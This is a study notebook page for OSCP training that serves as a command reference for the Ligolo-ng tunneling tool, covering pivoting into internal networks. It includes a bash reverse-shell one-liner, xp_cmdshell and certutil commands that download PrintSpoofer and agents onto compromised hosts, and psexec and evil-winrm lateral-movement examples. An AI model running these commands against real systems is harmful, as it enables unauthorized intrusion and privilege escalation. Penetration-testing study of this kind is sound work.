Ligolo-ng — Complete Reference

Ctrl+F: ligolo-proxy · autoroute · tunnel_start · interface_create · listener_add · file transfer · session · ifconfig

What Is Ligolo-ng?

Ligolo-ng is a lightweight tunneling tool that creates a TUN interface on your attacker machine. Instead of routing through SOCKS/proxychains, it acts like a real network interface — meaning any tool works natively without modification (including Nmap SYN scans, RDP clients, web browsers, etc.).

OSCP use: Best choice for full subnet access when you want to run tools without proxychains overhead. Built into Kali since 2024.2.

Architecture:

Proxy — runs on your attacker machine (Kali). Opens a port for agents to connect to.
Agent — runs on the pivot/compromised host. Connects back to the proxy.

[Kali - proxy + TUN interface] ←──── [Pivot host - agent] ────→ [Internal network]
         ligolo interface                                           172.16.0.0/24

BIdirectional tunnel / Double Pivoting

https://www.linkedin.com/pulse/bidirectional-port-forwarding-ligolo-ng-saathwick-venkataramalingam-grwuc

Templates

Transfer:

wget http://192.168.45.168:8000/ligolo/agent -O agent && chmod +x agent

certutil -urlcache -split -f http://192.168.49.126:8000/ligolo/agent.exe agent.exe

Start

sudo ligolo-proxy --selfcert

connect

# Linux pivot — connect back to Kali (ignore self-signed cert)
./agent -connect 192.168.49.126:11601 -ignore-cert
 
# Windows pivot
.\agent.exe -connect 192.168.49.126:11601 -ignore-cert

Installation

# Kali (included since 2024.2)
sudo apt install ligolo-ng
 
# Manual download — GitHub releases
# https://github.com/nicocha30/ligolo-ng/releases
 
# Proxy (attacker - Kali)
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz
tar -xzf ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz
 
# Agent - Linux pivot
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz
tar -xzf ligolo-ng_agent_0.8.2_linux_amd64.tar.gz
 
# Agent - Windows pivot
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_windows_amd64.zip
unzip ligolo-ng_agent_0.8.2_windows_amd64.zip

Quick Start (autoroute — v0.8+)

# Kali — start proxy
sudo ligolo-proxy --selfcert
 
# Pivot — connect agent back
./agent -connect KALI_IP:11601 -ignore-cert
 
# Proxy shell — after agent connects
session
autoroute
# Select internal subnet → create interface → Yes to start tunnel

Then scan internal hosts directly from Kali — no proxychains.

📌 1) Basic Setup — Step by Step

Two paths: autoroute (easiest, v0.8+) or manual (interface_create → route → tunnel_start). Legacy ip tuntap still works on older builds.

Step 1: Start the Proxy on Kali

sudo ligolo-proxy --selfcert
 
# Custom listen port (default 11601)
sudo ligolo-proxy --selfcert --laddr 0.0.0.0:443
 
# Run without sudo after one-time setup
sudo setcap cap_net_admin,cap_net_raw+eip $(which ligolo-proxy)
ligolo-proxy --selfcert

Manual binary: ./proxy --selfcert

Step 2: Transfer Agent to Pivot Host

# On Kali — serve it
python3 -m http.server 8080

# On Linux pivot
wget http://192.168.45.168:8000/ligolo/agent -O agent && chmod +x agent

certutil -urlcache -split -f http://192.168.45.168/ligolo/agent.exe agent.exe

# On Windows pivot (PowerShell)
iwr -Uri http://KALI_IP:8080/ligolo/agent.exe -OutFile C:\Temp\agent.exe

Step 3: Run Agent on Pivot Host

# Linux pivot — connect back to Kali (ignore self-signed cert)
./agent -connect 192.168.45.168:11601 -ignore-cert
 
# Windows pivot
.\agent.exe -connect 192.168.45.227:11601 -ignore-cert
 
# With autocert (if pivot has internet — more secure)
./agent -connect KALI_IP:11601 -autocert

Step 4: Select Session & View Pivot Networks

ligolo-ng » session              # List agents — select one
[Agent: user@pivothost] » ifconfig

Note internal subnets (e.g. 172.16.0.0/24 on eth1).

Step 5a: Autoroute (recommended — v0.8+)

[Agent: user@pivothost] » autoroute
? Select routes to add: 172.16.0.0/24
? Create a new interface or use an existing one? Create a new interface
? Start the tunnel? Yes

Optional non-interactive interface name: autoroute --interface ligolo

Done — skip to §2) Using After Setup.

Step 5b: Manual Setup (v0.6+ ligolo CLI)

ligolo-ng » interface_create --name ligolo
ligolo-ng » session
[Agent: user@pivothost] » ifconfig
[Agent: user@pivothost] » interface_add_route --name ligolo --route 172.16.0.0/24
[Agent: user@pivothost] » tunnel_start --tun ligolo

Aliases also work: ifcreate · route_add · start

Step 5c: Manual Setup (legacy — `ip tuntap`)

sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 172.16.0.0/24 dev ligolo

[Agent: user@pivothost] » tunnel_start --tun ligolo
# or: start

Done. Run tools on Kali targeting 172.16.0.x — traffic routes through the pivot.

📌 2) Using After Setup

# Nmap — SYN scan works (no proxychains needed)
nmap -sC -sV -p- 172.16.0.10
nmap -sT -Pn 172.16.0.0/24
 
# Web
curl http://172.16.0.10
gobuster dir -u http://172.16.0.10 -w wordlist.txt
firefox http://172.16.0.10   # Browser works too
 
# SMB / AD
crackmapexec smb 172.16.0.0/24 -u user -p pass
evil-winrm -i 172.16.0.10 -u admin -p password
impacket-psexec domain/admin:pass@172.16.0.10
 
# RDP
xfreerdp3 /u:Administrator /p:Password1 /v:172.16.0.10

📌 3) Autoroute (Ligolo-ng v0.8+)

New in v0.8: automatic interface and route creation from within the proxy interface.

[Agent: NT AUTHORITY\SYSTEM@HOSTNAME] » autoroute

? Select routes to add: 172.16.87.0/24
? Create a new interface or use an existing one? Create a new interface
INFO[0176] Generating a random interface name...
INFO[0176] Creating routes for valuedlady...
? Start the tunnel? Yes
INFO Starting tunnel to NT AUTHORITY\SYSTEM@HOSTNAME

📌 4) Listeners — Redirecting Reverse Shells

Ligolo-ng can redirect ports from the pivot back to Kali, allowing reverse shells from the internal network to reach your listener.

# Scenario: internal host (172.16.0.20) needs to connect to a reverse shell listener
# but it can only reach the pivot (it can't reach Kali directly)
 
# In proxy interface — add a listener on the pivot port 1234 → forward to Kali:4444
[Agent: user@pivot] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444
 
# On Kali — start the actual listener
nc -lvnp 4444
 
# Trigger the reverse shell on the internal host to connect to PIVOT:1234
bash -i >& /dev/tcp/PIVOT_IP:1234 0>&1
# Connection: internal host → pivot:1234 → Kali:4444

Listener syntax

listener_add --addr 0.0.0.0:PORT --to 127.0.0.1:LOCAL_PORT
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
listener_add --addr 0.0.0.0:53 --to 127.0.0.1:5353 --udp
listener_list
listener_stop <ID>               # ID from listener_list

📌 File transfer through tunnel (listener + HTTP)

When an internal host can’t reach Kali directly (only the pivot), use listener_add to relay an HTTP server on Kali through the agent. Internal targets curl the pivot IP; Ligolo forwards to your local http.server.

Flow:  Internal host  →  PIVOT:9999  →  listener_add  →  Kali 127.0.0.1:9999  →  python3 -m http.server

Step 1 — Kali: serve the file

# Put PrintSpoofer64.exe (or any payload) in this directory first
cd /home/kali/tools
python3 -m http.server 9999

Step 2 — Ligolo proxy: add listener on the agent

[Agent: user@pivot] » listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999

Flag	Meaning
`--addr 0.0.0.0:9999`	Listen on pivot host port 9999 (all interfaces)
`--to 127.0.0.1:9999`	Forward to Kali localhost:9999 (your `http.server`)

Verify: listener_list

Step 3 — Internal target: download via pivot

From MSSQL (xp_cmdshell) — internal SQL host reaches pivot IP on port 9999:

EXEC xp_cmdshell 'powershell -c "curl.exe http://PIVOT_IP:9999/PrintSpoofer64.exe -o C:\Users\Public\PrintSpoofer64.exe"';

Lab-style example (Kali reachable on exam network via TUN — curl Kali IP directly):

EXEC xp_cmdshell 'powershell -c "curl.exe http://10.10.119.147:9999/PrintSpoofer64.exe -o C:\Users\Public\PrintSpoofer64.exe"';

Expected output in mssqlclient / SQL shell:

output
--------------------------------------------------------------------------------
  % Total    % Received ...

PowerShell on Windows shell (same idea):

iwr -Uri http://PIVOT_IP:9999/PrintSpoofer64.exe -OutFile C:\Users\Public\PrintSpoofer64.exe
curl.exe http://PIVOT_IP:9999/PrintSpoofer64.exe -o C:\Users\Public\PrintSpoofer64.exe

Linux internal host:

wget http://PIVOT_IP:9999/agent -O /tmp/agent
curl -o /tmp/agent http://PIVOT_IP:9999/agent

When to use which IP

Scenario	Target curls
Internal host only reaches pivot	`http://PIVOT_IP:9999/file.exe` + `listener_add`
TUN routing — internal can reach Kali exam IP	`http://KALI_IP:9999/file.exe` (listener optional if Kali IP routable)
Direct mssqlclient session (no pivot)	`upload` in mssqlclient → mssqlclient > 📌 Upload & Download (built-in — inside SQL shell)

→ File Transfer · mssqlclient · PrintSpoofer

📌 5) Multi-Hop / Double Pivot

Pivot through two hosts to reach a third network:

[Kali] ──── [Pivot1: 10.10.10.5] ──── [Pivot2: 172.16.0.10] ──── [Deep: 192.168.1.0/24]

Step 1: Set up first session (Kali → Pivot1 → 172.16.0.0/24) using standard steps above.

Step 2: Transfer agent to Pivot2 through Pivot1 (using the ligolo tunnel).

# Kali serves the agent
python3 -m http.server 8080
 
# On Pivot1 (already pivoted), download and push agent to Pivot2
wget http://KALI_IP:8080/agent -O /tmp/agent
chmod +x /tmp/agent
# Transfer to Pivot2 via SCP or another method
scp /tmp/agent user@172.16.0.10:/tmp/agent

Step 3: Start a listener relay on Pivot1 for Pivot2’s connection:

[Agent: user@pivot1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601

Step 4: Run agent on Pivot2, pointing to Pivot1:

./agent -connect PIVOT1_IP:11601 -ignore-cert

Step 5: New session in proxy. Add route and start tunnel:

ligolo-ng » session
[Agent: user@pivot2] » interface_create --name ligolo2
[Agent: user@pivot2] » interface_add_route --name ligolo2 --route 192.168.1.0/24
[Agent: user@pivot2] » tunnel_start --tun ligolo2

Or use autoroute on the second session.

📌 6) SOCKS Proxy Mode (if TUN interface is unavailable)

If you can’t create a TUN interface, Ligolo-ng can fall back to a SOCKS proxy:

# Proxy — start with SOCKS
./proxy --selfcert --socks5
 
# Proxychains config
socks5  127.0.0.1  1080

📌 7) Teardown / Cleanup

# Stop tunnel in proxy interface
[Agent: user@pivot] » tunnel_stop
# or: stop
 
# Remove ligolo-managed interface (if created via interface_create)
ligolo-ng » interface_delete --name ligolo
# or: ifdel
 
# Legacy cleanup
sudo ip route del 172.16.0.0/24 dev ligolo
sudo ip link delete ligolo
 
# Kill the proxy
Ctrl+C

📌 8) Quick Setup One-Liners

# Start proxy
ligolo-proxy --selfcert
 
# After agent connects — autoroute (v0.8+, easiest)
session → autoroute
 
# Manual (v0.6+)
interface_create --name ligolo
session → interface_add_route --name ligolo --route 172.16.0.0/24 → tunnel_start --tun ligolo
 
# Legacy TUN + kernel route
sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up
sudo ip route add 172.16.0.0/24 dev ligolo

📌 Quick Cheat Sheet (Copy/Paste)

# KALI
ligolo-proxy --selfcert
 
# PIVOT (Linux)
./agent -connect KALI_IP:11601 -ignore-cert
 
# PIVOT (Windows)
.\agent.exe -connect KALI_IP:11601 -ignore-cert
 
# PROXY SHELL
session
ifconfig
autoroute                                    # v0.8+ — auto interface + route + tunnel
interface_create --name ligolo               # manual alternative
interface_add_route --name ligolo --route 172.16.0.0/24
tunnel_start --tun ligolo                    # alias: start
 
# LISTENER (reverse shell relay)
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444
 
# LISTENER (file transfer — HTTP on Kali → relay through pivot)
python3 -m http.server 9999                    # Kali — serve files from cwd
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999
# Internal target: curl http://PIVOT_IP:9999/PrintSpoofer64.exe -o C:\Users\Public\PrintSpoofer64.exe
 
# STOP
tunnel_stop                                  # alias: stop
interface_delete --name ligolo               # alias: ifdel

📌 9) Proxy Shell Commands (Official Reference)

All commands run inside the proxy shell after ligolo-proxy --selfcert starts. Type help [command] for per-command help.

Source: Ligolo-ng built-in help — verified against v0.8.x command list.

General

Command	Aliases	Description
`certificate_fingerprint`	—	Show the current selfcert fingerprint
`clear`	—	Clear the screen
`connect_agent`	—	Attempt to connect to a bind agent
`exit`	—	Exit the shell
`help`	—	Use `help [command]` for command help
`ifconfig`	—	Show agent interfaces
`kill`	`agent_kill`, `session_kill`	Kill the current agent
`session`	—	Change the current relay agent

Interfaces

Command	Aliases	Description
`interface_create`	`ifcreate`	Create a new tuntap interface
`interface_delete`	`ifdel`, `interface_del`	Delete a tuntap interface
`interface_list`	`iflist`, `route_list`	List available tun interfaces
`route_add`	`add_route`, `interface_route_add`, `interface_add_route`	Add a route to a network interface
`route_del`	`del_route`, `interface_route_del`, `interface_del_route`	Delete a route

Route syntax:

interface_add_route --name ligolo --route 172.16.0.0/24
route_add --name ligolo --route 172.16.0.0/24
interface_del_route --name ligolo --route 172.16.0.0/24

Interface syntax:

interface_create --name ligolo
interface_delete --name ligolo
interface_list

Listeners

Command	Description
`listener_add`	Listen on the agent and redirect connections to the desired address
`listener_list`	List currently running listeners
`listener_stop`	Stop a listener

Listener syntax:

listener_add --addr 0.0.0.0:PORT --to 127.0.0.1:LOCAL_PORT
 5434
listener_add --addr 0.0.0.0:53 --to 127.0.0.1:5353 --udp
listener_list
listener_stop 1

Tunneling

Command	Aliases	Description
`autoroute`	—	Setup everything for you (interfaces, routes & tunnel)
`tunnel_list`	`session_list`	List active tunnels and sessions
`tunnel_start`	`start`	Start relaying connection to the current agent
`tunnel_stop`	`stop`	Stop the tunnel

Tunnel syntax:

autoroute
autoroute --interface ligolo
tunnel_start
tunnel_start --tun ligolo
tunnel_stop
tunnel_list

Pearson's OSCP Notebook

Explorer

Ligolo-ng

Ligolo-ng — Complete Reference

What Is Ligolo-ng?

BIdirectional tunnel / Double Pivoting

Templates

Installation

Quick Start (autoroute — v0.8+)

📌 1) Basic Setup — Step by Step

Step 1: Start the Proxy on Kali

Step 2: Transfer Agent to Pivot Host

Step 3: Run Agent on Pivot Host

Step 4: Select Session & View Pivot Networks

Step 5a: Autoroute (recommended — v0.8+)

Step 5b: Manual Setup (v0.6+ ligolo CLI)

Step 5c: Manual Setup (legacy — `ip tuntap`)

📌 2) Using After Setup

📌 3) Autoroute (Ligolo-ng v0.8+)

📌 4) Listeners — Redirecting Reverse Shells

Listener syntax

📌 File transfer through tunnel (listener + HTTP)

Step 1 — Kali: serve the file

Step 2 — Ligolo proxy: add listener on the agent

Step 3 — Internal target: download via pivot

When to use which IP

📌 5) Multi-Hop / Double Pivot

📌 6) SOCKS Proxy Mode (if TUN interface is unavailable)

📌 7) Teardown / Cleanup

📌 8) Quick Setup One-Liners

📌 Quick Cheat Sheet (Copy/Paste)

📌 9) Proxy Shell Commands (Official Reference)

General

Interfaces

Listeners

Tunneling

Graph View

Table of Contents

Backlinks

Pearson's OSCP Notebook

Explorer

Ligolo-ng

Ligolo-ng — Complete Reference

What Is Ligolo-ng?

BIdirectional tunnel / Double Pivoting

Templates

Installation

Quick Start (autoroute — v0.8+)

📌 1) Basic Setup — Step by Step

Step 1: Start the Proxy on Kali

Step 2: Transfer Agent to Pivot Host

Step 3: Run Agent on Pivot Host

Step 4: Select Session & View Pivot Networks

Step 5a: Autoroute (recommended — v0.8+)

Step 5b: Manual Setup (v0.6+ ligolo CLI)

Step 5c: Manual Setup (legacy — ip tuntap)

📌 2) Using After Setup

📌 3) Autoroute (Ligolo-ng v0.8+)

📌 4) Listeners — Redirecting Reverse Shells

Listener syntax

📌 File transfer through tunnel (listener + HTTP)

Step 1 — Kali: serve the file

Step 2 — Ligolo proxy: add listener on the agent

Step 3 — Internal target: download via pivot

When to use which IP

📌 5) Multi-Hop / Double Pivot

📌 6) SOCKS Proxy Mode (if TUN interface is unavailable)

📌 7) Teardown / Cleanup

📌 8) Quick Setup One-Liners

📌 Quick Cheat Sheet (Copy/Paste)

📌 9) Proxy Shell Commands (Official Reference)

General

Interfaces

Listeners

Tunneling

Related Tools

Related Notes

Graph View

Table of Contents

Backlinks

Step 5c: Manual Setup (legacy — `ip tuntap`)